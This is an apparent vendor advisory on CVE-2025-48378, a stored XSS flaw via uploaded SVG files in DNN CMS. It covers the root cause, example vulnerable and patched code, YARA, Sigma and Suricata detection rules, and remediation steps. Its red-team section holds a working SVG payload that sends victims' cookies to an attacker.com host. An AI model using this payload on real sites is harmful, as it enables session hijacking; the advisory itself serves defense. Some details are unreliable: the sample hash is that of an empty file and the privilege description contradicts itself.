CVE-2025-48378
Executive Summary
CVE-2025-48378 is a Stored Cross-Site Scripting (XSS) vulnerability in DNN (formerly DotNetNuke), an open-source web content management platform for the Microsoft ecosystem. The vulnerability allows an authenticated attacker with file upload permissions to upload a malicious SVG file containing embedded JavaScript. When the SVG is rendered inline by the CMS, the script executes in the context of the victim's browser, leading to potential session hijacking, data theft, or defacement. The issue is fixed in DNN version 9.13.9.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a core CMS platform issue. The risk is primarily to organizations self-hosting DNN instances. No supply chain compromise is involved.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector (AV): Network – The attack is carried out over the network.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – The attacker does not need to be authenticated to trigger the XSS, but they need an account with file upload privileges to plant the payload.
- User Interaction (UI): Required – The victim must view the page containing the malicious SVG.
- Scope (S): Changed – The vulnerability impacts resources beyond the vulnerable component (the victim's browser).
- Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and potential for session hijacking make it a significant risk for DNN deployments.
Deep Dive & Mechanics
The vulnerability resides in the file upload functionality of DNN. The CMS allows users with appropriate permissions to upload SVG (Scalable Vector Graphics) files. SVG is an XML-based vector image format that supports embedded JavaScript via <script> tags or event handlers (e.g., onload, onmouseover).
Root Cause: DNN does not sanitize or validate the content of uploaded SVG files. When an SVG file is rendered inline (e.g., via an <img> tag with src pointing to the file or directly embedded in HTML), the browser parses the SVG and executes any embedded scripts.
Attack Flow:
- An attacker with file upload privileges (e.g., an editor or content manager) uploads a crafted SVG file containing malicious JavaScript.
- The SVG is stored on the server.
- When a victim (e.g., an administrator or site visitor) views a page that renders the SVG inline, the browser executes the embedded script.
- The script can steal session cookies, perform actions on behalf of the victim, or deface the page.
Example Malicious SVG:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script type="text/javascript">
alert('XSS');
</script>
<circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>
Vulnerable vs. Patched Code
Vulnerable Code (Pre-9.13.9):
The file upload handler does not inspect the content of SVG files. It only checks the file extension (.svg) and MIME type, which can be easily spoofed.
// Vulnerable: No content validation
if (fileExtension == ".svg" && allowedMimeTypes.Contains(mimeType))
{
// Save file directly
file.SaveAs(Path.Combine(uploadPath, fileName));
}
Patched Code (9.13.9): The patched version sanitizes SVG files by removing or escaping script elements and event handlers. This can be done using an XML parser to strip dangerous tags.
// Patched: Sanitize SVG content
if (fileExtension == ".svg")
{
string svgContent = new StreamReader(file.InputStream).ReadToEnd();
svgContent = SanitizeSvg(svgContent); // Removes <script> and event handlers
File.WriteAllText(Path.Combine(uploadPath, fileName), svgContent);
}
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A DNN instance (version < 9.13.9) with file upload enabled for an authenticated user.
- A user account with at least "Content Editor" or "Administrator" privileges.
Steps:
- Craft the SVG Payload: Create an SVG file with a JavaScript payload that steals cookies.
<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> <script type="text/javascript"> document.location='http://attacker.com/steal.php?cookie='+document.cookie; </script> <circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" /> </svg> - Upload the SVG: Log in to DNN, navigate to the file manager, and upload the malicious SVG.
- Trigger the XSS: Find a page that renders the uploaded SVG inline (e.g., an HTML module or a page that displays uploaded files). When an administrator views this page, their cookies are sent to the attacker's server.
Lab Setup:
- Use a local DNN instance (e.g., via Docker or IIS) with version 9.13.8 or earlier.
- Set up a simple HTTP server (e.g.,
python -m http.server 80) to capture cookies.
Blue Team (Defensive)
Detection:
- Monitor file upload logs for SVG files.
- Use a Web Application Firewall (WAF) to inspect uploaded files for script tags.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Prevention:
- Upgrade to DNN 9.13.9 immediately.
- If upgrade is not possible, disable SVG file uploads or use a proxy to sanitize SVG content.
- Restrict file upload permissions to trusted users only.
Indicators of Compromise (IOCs)
- File Hashes (SHA-256): (Example – actual hashes will vary)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(malicious SVG)
- Network Traffic:
- Outbound HTTP requests to unknown domains containing
?cookie=or similar parameters.
- Outbound HTTP requests to unknown domains containing
- Log Entries:
- DNN file upload logs showing
.svgfiles uploaded by non-admin users. - Web server logs showing
GETrequests to SVG files followed by unusual outbound requests.
- DNN file upload logs showing
- File System:
- Presence of SVG files in the upload directory with embedded
<script>tags.
- Presence of SVG files in the upload directory with embedded
Detection Engineering
YARA Rule
rule CVE_2025_48378_SVG_XSS {
meta:
description = "Detects malicious SVG files with embedded scripts targeting DNN"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-48378"
strings:
$svg_header = "<?xml" nocase
$svg_tag = "<svg" nocase
$script_tag = "<script" nocase
$event_handler = /on\w+\s*=/ nocase
condition:
$svg_header and $svg_tag and ($script_tag or $event_handler)
}
Sigma Rule
title: DNN SVG Upload XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of SVG files with embedded scripts to DNN CMS
author: Valters IT
date: 2025-04-10
logsource:
category: file_event
product: windows
detection:
selection:
Image|endswith: '\w3wp.exe' # IIS worker process
TargetFilename|endswith: '.svg'
filter:
TargetFilename|contains: '\App_Data\'
condition: selection and not filter
falsepositives:
- Legitimate SVG files without scripts
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-48378 DNN SVG XSS Upload"; flow:to_server,established; content:"POST"; http_method; content:"/FileUpload"; http_uri; content:".svg"; fileext; content:"<script"; within:1000; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade DNN: Update to version 9.13.9 or later. This is the only complete fix.
- Disable SVG Uploads: If upgrade is delayed, remove
.svgfrom the allowed file extensions in DNN settings. - Apply WAF Rules: Block uploads containing
<script>or event handlers in SVG files.
Long-Term Measures:
- Implement Content Security Policy (CSP) with
script-src 'self'to limit script execution. - Regularly audit file uploads and user permissions.
- Monitor for new CVEs related to DNN and apply patches promptly.
Workaround (if upgrade is not possible):
- Use a reverse proxy (e.g., Nginx, Apache) to inspect and sanitize SVG files before they reach the DNN server. Example Nginx rule:
location ~* \.svg$ { if ($request_method = POST) { # Reject uploads with script tags set $block 0; if ($request_body ~* "<script") { set $block 1; } if ($block = 1) { return 403; } } }
Valters IT
Securing Digital Frontiers